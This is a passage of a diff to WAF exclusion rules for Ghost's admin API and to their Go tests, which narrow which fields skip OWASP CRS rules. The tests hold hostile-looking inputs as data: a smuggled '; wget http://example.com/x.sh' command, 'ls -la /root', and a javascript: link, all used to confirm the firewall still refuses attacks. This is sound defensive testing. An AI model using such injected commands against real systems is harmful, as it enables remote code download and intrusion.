ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
|
|
||||||
"id:900384,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
|
|
||||||
|
|
||||||
# Saving a staff user's profile sends the field profile_image, whose name holds
|
# Saving a staff user's profile sends the field profile_image, whose name holds
|
||||||
# .profile, a file the list of system files names (930120).
|
# .profile, a file the list of system files names (930120).
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||||
@@ -453,8 +372,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
|||||||
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
|
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
|
||||||
|
|
||||||
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
|
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
|
||||||
# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
|
# /ghost/api/admin/tags/, skips the same rules as the code injection of posts.
|
||||||
# the code injection of posts. A javascript: link is still refused in it.
|
# A <script> element and a javascript: link are still refused in it.
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
||||||
"id:900378,phase:1,pass,nolog,chain"
|
"id:900378,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
|
||||||
@@ -463,25 +382,13 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||||
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
|
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
|
||||||
|
|
||||||
# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
|
|
||||||
# skips the two rules that url skips:
|
|
||||||
# 930120: https://example.com/tag/.htaccess/
|
|
||||||
# 932120: https://example.com/tag/powershell/
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
|
||||||
"id:900382,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
|
|
||||||
|
|
||||||
# The passwords, which skip each rule that random passwords set off:
|
# The passwords, which skip each rule that random passwords set off:
|
||||||
# password, signing in at /ghost/api/admin/session/
|
# password, signing in at /ghost/api/admin/session/
|
||||||
# setup.<n>.password, creating the first staff user
|
# setup.<n>.password, creating the first staff user
|
||||||
|
|||||||
@@ -38,9 +38,6 @@ const (
|
|||||||
ghostComments = "/members/api/comments/"
|
ghostComments = "/members/api/comments/"
|
||||||
ghostNote = "/.ghost/activitypub/v1/actions/note"
|
ghostNote = "/.ghost/activitypub/v1/actions/note"
|
||||||
ghostAccount = "/.ghost/activitypub/v1/account"
|
ghostAccount = "/.ghost/activitypub/v1/account"
|
||||||
ghostAliases = "/.ghost/activitypub/v1/aliases"
|
|
||||||
ghostMigration = "/.ghost/activitypub/v1/migration"
|
|
||||||
ghostDomain = "/.ghost/activitypub/v1/domain"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
||||||
@@ -77,7 +74,7 @@ func (f ghostField) with(t *testing.T, value string) string {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
|
// ghostTextFields hold plain text and skip the eight rules of plain text.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostTextFields = []ghostField{
|
var ghostTextFields = []ghostField{
|
||||||
@@ -200,12 +197,9 @@ var ghostTextFields = []ghostField{
|
|||||||
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
|
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
|
||||||
},
|
},
|
||||||
|
|
||||||
// ActivityPub: a note, a reply, the description of their image, and the
|
// ActivityPub: a note, a reply and the account.
|
||||||
// account.
|
|
||||||
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
|
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
|
||||||
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
|
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
|
||||||
{http.MethodPost, ghostNote, ghostNoteImage},
|
|
||||||
{http.MethodPost, ghostReply, ghostNoteImage},
|
|
||||||
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
|
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
|
||||||
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
|
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
|
||||||
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
|
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
|
||||||
@@ -224,11 +218,6 @@ var ghostNewComment = ghostField{
|
|||||||
const ghostComment = `Try <strong>python3</strong>, then ` +
|
const ghostComment = `Try <strong>python3</strong>, then ` +
|
||||||
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
|
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
|
||||||
|
|
||||||
// ghostNoteImage is the body of a note or a reply in ActivityPub with an
|
|
||||||
// image, with VALUE as the image's description.
|
|
||||||
const ghostNoteImage = `{"content":"My desk","image":{"url":` +
|
|
||||||
`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
|
|
||||||
|
|
||||||
// ghostReply is the path that posts a reply to a note in ActivityPub.
|
// ghostReply is the path that posts a reply to a note in ActivityPub.
|
||||||
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
|
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
|
||||||
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
|
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
|
||||||
@@ -261,48 +250,10 @@ var ghostAddressFields = []ghostField{
|
|||||||
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostHandleFields hold an account's handle in ActivityPub, which the admin
|
// ghostArticleFields hold an article and skip the rules of 900355.
|
||||||
// sends as an @ followed by an address, with no spaces. They skip 930120 and
|
|
||||||
// 932120.
|
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostHandleFields = []ghostField{
|
var ghostArticleFields = []ghostField{
|
||||||
{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
|
|
||||||
{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostDomainFields hold the domain of the site's handle in ActivityPub and
|
|
||||||
// skip 930120, 932120 and 932260.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostDomainFields = []ghostField{
|
|
||||||
{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
|
|
||||||
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostURLFields hold the canonical URL of a post, a page or a tag, or the
|
|
||||||
// address of an account removed from those that move here in ActivityPub.
|
|
||||||
// They skip 930120 and 932120, as url does.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostURLFields = []ghostField{
|
|
||||||
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
|
||||||
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
|
||||||
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
|
|
||||||
{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
|
|
||||||
{
|
|
||||||
http.MethodPut,
|
|
||||||
ghostTags + "6af45d4ed281b00001a599a8/",
|
|
||||||
`{"tags":[{"canonical_url":"VALUE"}]}`,
|
|
||||||
},
|
|
||||||
{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
|
||||||
// <script> element by 900366.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostPostFields = []ghostField{
|
|
||||||
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
||||||
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
||||||
{
|
{
|
||||||
@@ -311,13 +262,6 @@ var ghostPostFields = []ghostField{
|
|||||||
`{"posts":[{"html":"VALUE"}]}`,
|
`{"posts":[{"html":"VALUE"}]}`,
|
||||||
},
|
},
|
||||||
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
||||||
}
|
|
||||||
|
|
||||||
// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
|
|
||||||
// footer, skip the rules of 900355, and still refuse a <script> element.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostSnippetAndNewsletterFooterFields = []ghostField{
|
|
||||||
{
|
{
|
||||||
http.MethodPost,
|
http.MethodPost,
|
||||||
"/ghost/api/admin/snippets/",
|
"/ghost/api/admin/snippets/",
|
||||||
@@ -330,16 +274,8 @@ var ghostSnippetAndNewsletterFooterFields = []ghostField{
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostArticleFields hold an article and skip the rules of 900355.
|
// ghostCodeFields hold code injection or a setting and skip the rules of
|
||||||
//
|
// 900356 and 900378.
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostArticleFields = slices.Concat(
|
|
||||||
ghostPostFields,
|
|
||||||
ghostSnippetAndNewsletterFooterFields,
|
|
||||||
)
|
|
||||||
|
|
||||||
// ghostCodeFields hold code injection or a setting, skip the rules of 900356
|
|
||||||
// and 900378, and take a <script> element by 900366 and 900378.
|
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostCodeFields = []ghostField{
|
var ghostCodeFields = []ghostField{
|
||||||
@@ -385,19 +321,6 @@ const (
|
|||||||
ghostInvitedEmail = ghostInvitation + "?email="
|
ghostInvitedEmail = ghostInvitation + "?email="
|
||||||
)
|
)
|
||||||
|
|
||||||
// ghostAnalyticsFilters are source and the utm_ fields, which filter the
|
|
||||||
// analytics, each ending in "=".
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostAnalyticsFilters = []string{
|
|
||||||
ghostSource,
|
|
||||||
ghostStats + "&utm_source=",
|
|
||||||
ghostStats + "&utm_medium=",
|
|
||||||
ghostCampaign,
|
|
||||||
ghostStats + "&utm_content=",
|
|
||||||
ghostStats + "&utm_term=",
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostQueryFields are the query fields that skip some rules.
|
// ghostQueryFields are the query fields that skip some rules.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
@@ -410,16 +333,13 @@ var ghostQueryFields = []string{
|
|||||||
// ghostCommandNames joins two command names, as an ordinary title can.
|
// ghostCommandNames joins two command names, as an ordinary title can.
|
||||||
const ghostCommandNames = "powershell & python3"
|
const ghostCommandNames = "powershell & python3"
|
||||||
|
|
||||||
// ghostURLs are addresses 930120 and 932120 refused in url and in
|
// ghostURLs are addresses 930120 and 932120 refused in url.
|
||||||
// ghostURLFields.
|
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostURLs = []string{
|
var ghostURLs = []string{
|
||||||
"https://github.com/example/site/blob/main/.htaccess",
|
"https://github.com/example/site/blob/main/.htaccess",
|
||||||
"https://example.com/blog/powershell-tips?ref=ghost",
|
"https://example.com/blog/powershell-tips?ref=ghost",
|
||||||
"https://example.com/docs/python3/",
|
"https://example.com/docs/python3/",
|
||||||
"https://example.com/blog/powershell/",
|
|
||||||
"https://example.com/blog/.htaccess/",
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
||||||
@@ -431,15 +351,6 @@ var ghostAddresses = []string{
|
|||||||
"dave.powershell@example.com",
|
"dave.powershell@example.com",
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostDomains are domains 930120, 932120 and 932260 refused.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var ghostDomains = []string{
|
|
||||||
"erin.htaccess.example.com",
|
|
||||||
"python3.example.com",
|
|
||||||
"powershell.example.com",
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
||||||
// embed, which each of the rules of 900355 refused.
|
// embed, which each of the rules of 900355 refused.
|
||||||
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
||||||
@@ -529,24 +440,14 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
|
|
||||||
for _, address := range ghostURLs {
|
for _, address := range ghostURLs {
|
||||||
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
||||||
|
|
||||||
for _, f := range ghostURLFields {
|
|
||||||
wantGhostField(t, f, address, false)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, address := range ghostAddresses {
|
for _, address := range ghostAddresses {
|
||||||
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
|
for _, f := range ghostAddressFields {
|
||||||
wantGhostField(t, f, address, false)
|
wantGhostField(t, f, address, false)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, domain := range ghostDomains {
|
|
||||||
for _, f := range ghostDomainFields {
|
|
||||||
wantGhostField(t, f, domain, false)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, f := range ghostArticleFields {
|
for _, f := range ghostArticleFields {
|
||||||
wantGhostField(t, f, ghostArticle, false)
|
wantGhostField(t, f, ghostArticle, false)
|
||||||
}
|
}
|
||||||
@@ -556,12 +457,6 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
wantGhostField(t, ghostNewComment, ghostComment, false)
|
wantGhostField(t, ghostNewComment, ghostComment, false)
|
||||||
wantGhostField(
|
|
||||||
t,
|
|
||||||
ghostField{http.MethodPost, ghostNote, ghostNoteImage},
|
|
||||||
"A terminal running ls -la on .htaccess with python3",
|
|
||||||
false,
|
|
||||||
)
|
|
||||||
|
|
||||||
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
||||||
url.QueryEscape(
|
url.QueryEscape(
|
||||||
@@ -571,42 +466,11 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ghostWidget is an HTML card that embeds a widget with its script.
|
// ghostAttacks are an SQL injection, a path traversal and a script
|
||||||
const ghostWidget = `<div id="signup"></div>` +
|
// injection, not escaped.
|
||||||
`<script src="https://widgets.example.com/form.js" async></script>`
|
|
||||||
|
|
||||||
// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
|
|
||||||
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
|
|
||||||
`"html":"<div id=\"signup\"></div><script ` +
|
|
||||||
`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
|
|
||||||
`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
|
|
||||||
|
|
||||||
// ghostAnalytics is code injection that loads analytics.
|
|
||||||
const ghostAnalytics = `<script defer ` +
|
|
||||||
`src="https://analytics.example.com/script.js"></script>`
|
|
||||||
|
|
||||||
func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// An HTML card in a post, as the editor saves it, and as integrations
|
|
||||||
// send it.
|
|
||||||
wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
|
|
||||||
|
|
||||||
for _, f := range ghostPostFields {
|
|
||||||
wantGhostField(t, f, ghostWidget, false)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Site code injection, saved in settings, and a post's, a page's or a
|
|
||||||
// tag's own.
|
|
||||||
for _, f := range ghostCodeFields {
|
|
||||||
wantGhostField(t, f, ghostAnalytics, false)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ghostAttacks are an SQL injection and a path traversal, not escaped.
|
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var ghostAttacks = []string{injection, pathTraversal}
|
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
|
||||||
|
|
||||||
// commandAfterASeparator is a shell command after a ";", not escaped.
|
// commandAfterASeparator is a shell command after a ";", not escaped.
|
||||||
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
||||||
@@ -616,7 +480,6 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
|
|
||||||
for _, attack := range ghostAttacks {
|
for _, attack := range ghostAttacks {
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||||
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
|
||||||
ghostArticleFields, ghostCodeFields) {
|
ghostArticleFields, ghostCodeFields) {
|
||||||
wantGhostField(t, f, attack, true)
|
wantGhostField(t, f, attack, true)
|
||||||
}
|
}
|
||||||
@@ -626,30 +489,16 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// A script injection stays refused in every field that does not take a
|
|
||||||
// <script> element.
|
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
|
||||||
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
|
||||||
ghostSnippetAndNewsletterFooterFields) {
|
|
||||||
wantGhostField(t, f, scriptTag, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, target := range ghostQueryFields {
|
|
||||||
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
|
|
||||||
}
|
|
||||||
|
|
||||||
// A command after a separator stays refused wherever 932235 does not
|
// A command after a separator stays refused wherever 932235 does not
|
||||||
// misfire: in the addresses, handles, the domain, ghostURLFields, search,
|
// misfire: in the addresses, search, url, email_segment and email. The
|
||||||
// url, pathname, email_segment and email. The other fields skip 932235,
|
// plain text, filter and the analytics' fields skip 932235, which
|
||||||
// which refuses "powershell & python3" as it refuses this.
|
// refuses "powershell & python3" as it refuses this.
|
||||||
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
|
for _, f := range ghostAddressFields {
|
||||||
ghostDomainFields, ghostURLFields) {
|
|
||||||
wantGhostField(t, f, commandAfterASeparator, true)
|
wantGhostField(t, f, commandAfterASeparator, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
|
ghostSearch, ghostEmbed, ghostSegment, ghostInvitedEmail,
|
||||||
ghostInvitedEmail,
|
|
||||||
} {
|
} {
|
||||||
wantGhostQuery(
|
wantGhostQuery(
|
||||||
t,
|
t,
|
||||||
@@ -667,20 +516,15 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
true,
|
true,
|
||||||
)
|
)
|
||||||
|
|
||||||
// The articles and code injection carry HTML on purpose, but a
|
// The articles and code injection carry HTML on purpose, but a script
|
||||||
// javascript: link is still refused there, and a script element in
|
// element and a javascript: link are still refused there.
|
||||||
// snippets and a newsletter's footer.
|
|
||||||
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
||||||
|
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
||||||
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, f := range ghostSnippetAndNewsletterFooterFields {
|
// An address keeps 932250, which refuses a listing of files.
|
||||||
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
for _, f := range ghostAddressFields {
|
||||||
}
|
|
||||||
|
|
||||||
// An address and the domain keep 932250, which refuses a listing of
|
|
||||||
// files. A handle keeps it too, but its @ comes before any command.
|
|
||||||
for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
|
|
||||||
wantGhostField(t, f, "ls -la /root", true)
|
wantGhostField(t, f, "ls -la /root", true)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -688,34 +532,16 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
func TestGhostTwoCommandNamesPass(t *testing.T) {
|
func TestGhostTwoCommandNamesPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// The site's title, saved through settings.
|
for _, f := range ghostTextFields {
|
||||||
siteTitle := ghostField{
|
wantGhostField(t, f, ghostCommandNames, false)
|
||||||
http.MethodPut,
|
|
||||||
ghostSettings,
|
|
||||||
`{"settings":[{"key":"title","value":"VALUE"}]}`,
|
|
||||||
}
|
}
|
||||||
wantGhostField(t, siteTitle, ghostCommandNames, false)
|
|
||||||
|
|
||||||
// Values that join two command names, as a person types them.
|
// filter as the admin's post picker writes it, after a person types a
|
||||||
|
// title that joins two command names.
|
||||||
for _, typed := range []string{
|
for _, typed := range []string{
|
||||||
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
|
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
|
||||||
"ls -la & python3",
|
"ls -la & python3",
|
||||||
} {
|
} {
|
||||||
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
|
|
||||||
wantGhostField(t, f, typed, false)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantGhostImportLabel(t, ghostImport, typed, false)
|
|
||||||
|
|
||||||
for _, target := range slices.Concat(
|
|
||||||
ghostAnalyticsFilters,
|
|
||||||
[]string{ghostAccountSearch},
|
|
||||||
) {
|
|
||||||
wantGhostQuery(t, target+url.QueryEscape(typed), false)
|
|
||||||
}
|
|
||||||
|
|
||||||
// filter as the admin's post picker writes it, after a person types
|
|
||||||
// such a title.
|
|
||||||
filter := "status:published+title:~'" + typed + "'"
|
filter := "status:published+title:~'" + typed + "'"
|
||||||
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
|
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
|
||||||
}
|
}
|
||||||
@@ -731,21 +557,16 @@ func TestGhostOrdinaryQueriesPass(t *testing.T) {
|
|||||||
value, _ := url.QueryUnescape(encoded)
|
value, _ := url.QueryUnescape(encoded)
|
||||||
text := url.QueryEscape("Notes on " + value + " & tidy files")
|
text := url.QueryEscape("Notes on " + value + " & tidy files")
|
||||||
|
|
||||||
for _, target := range ghostAnalyticsFilters {
|
wantGhostQuery(
|
||||||
wantGhostQuery(t, target+encoded, false)
|
t,
|
||||||
}
|
ghostPathname+url.QueryEscape("/"+value+"/"),
|
||||||
|
false,
|
||||||
|
)
|
||||||
|
wantGhostQuery(t, ghostSource+encoded, false)
|
||||||
wantGhostQuery(t, ghostCampaign+text, false)
|
wantGhostQuery(t, ghostCampaign+text, false)
|
||||||
wantGhostQuery(t, ghostAccountSearch+text, false)
|
wantGhostQuery(t, ghostAccountSearch+text, false)
|
||||||
}
|
}
|
||||||
|
|
||||||
// pathname, the page the analytics show: a post and two tag pages.
|
|
||||||
for _, path := range []string{
|
|
||||||
"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
|
|
||||||
} {
|
|
||||||
wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantGhostQuery(
|
wantGhostQuery(
|
||||||
t,
|
t,
|
||||||
ghostCampaign+url.QueryEscape(ghostCommandNames),
|
ghostCampaign+url.QueryEscape(ghostCommandNames),
|
||||||
@@ -826,8 +647,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
|||||||
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
||||||
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
||||||
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
||||||
